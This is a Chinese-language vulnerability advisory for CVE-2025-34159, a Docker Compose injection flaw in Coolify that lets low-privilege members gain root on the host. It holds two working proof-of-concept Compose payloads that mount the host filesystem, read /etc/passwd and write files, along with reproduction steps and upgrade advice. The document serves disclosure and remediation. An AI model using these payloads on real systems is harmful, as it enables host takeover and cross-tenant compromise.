CVE-2025-34159：Coolify 中的 Docker Compose 注入漏洞

漏洞概述

字段	值
CVE 标识符	CVE-2025-34159
影响范围	Coolify ≤ v4.0.0-beta.420.6
修复版本	v4.0.0-beta.420.7
严重性	严重
CVSS 4.0	CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE	CWE-78（操作系统命令注入）、CWE-20（输入验证不恰当）

---

执行摘要

Coolify 的应用部署工作流中存在一个严重的远程代码执行（RCE）漏洞。该漏洞允许低权限成员在创建或更新项目时注入任意的 Docker Compose 指令。通过定义挂载主机文件系统的恶意服务，攻击者可在主机操作系统上实现以 root 权限执行命令，从而完全绕过容器隔离。

---

安全影响

• 以 root 权限在主机系统上执行任意命令
• 主机完全沦陷，包括读写系统文件、建立持久化以及进行横向移动的能力
• 多租户安全破坏，可能危及其他用户及同一实例上的团队
• 绕过安全控制，使 UI 终端访问限制（403 控制）形同虚设

---

技术细节

受影响版本

• 受影响版本： Coolify ≤ v4.0.0-beta.420.6
• 已修复版本： v4.0.0-beta.420.7

攻击向量

该漏洞存在于项目部署工作流中，用户提供的 Docker Compose 配置在缺乏充分验证或沙箱隔离的情况下被处理。

---

概念验证

PoC 1：主机根目录挂载与命令执行

version: '3.8'
services:
  poc-host-root:
    image: alpine:3.19
    tty: true
    volumes:
      - /:/host:rw
    command: >
      sh -c "
        echo '[*] Proof of RCE on host' &&
        echo 'RCE by Eyodav' > /host/tmp/proof_rce.txt &&
        whoami &&
        id &&
        uname -a &&
        head -n 5 /host/etc/passwd
      "

结果： 部署后，/tmp/proof_rce.txt 出现在主机系统上，确认以 root 权限实现了 RCE。

PoC 2：针对特定主机路径的写入

version: '3.8'
services:
  poc-host-write:
    image: alpine:3.19
    tty: true
    volumes:
      - /home/eyodav/PoC:/host
    command: >
      sh -c "
        set -e;
        mkdir -p /host &&
        echo '[*] Writing PoC file to host mount...' &&
        echo RCE_PoC_from_container_$(date) > /host/RCE_PoC.txt &&
        cd /host &&
        pwd &&
        ls -la
      "

复现步骤

1. 以成员级用户（非管理员）身份进行身份验证
2. 在 Coolify 中创建或编辑项目
3. 使用上述某个 Docker Compose 载荷提交恶意配置
4. 部署该项目
5. 通过检查主机端产物（例如 /tmp/proof_rce.txt）或查看部署日志中的命令输出，验证漏洞利用是否成功

---

立即行动

1. 立即升级到 Coolify v4.0.0-beta.420.7 或更高版本
2. 审查现有项目中是否存在潜在的恶意 Docker Compose 配置

---

参考资料

• 补丁/发布说明： https://github.com/coollabsio/coolify/releases/tag/v4.0.0-beta.420.7
• 公告/PoC 仓库： https://github.com/Eyodav/CVE-2025-34159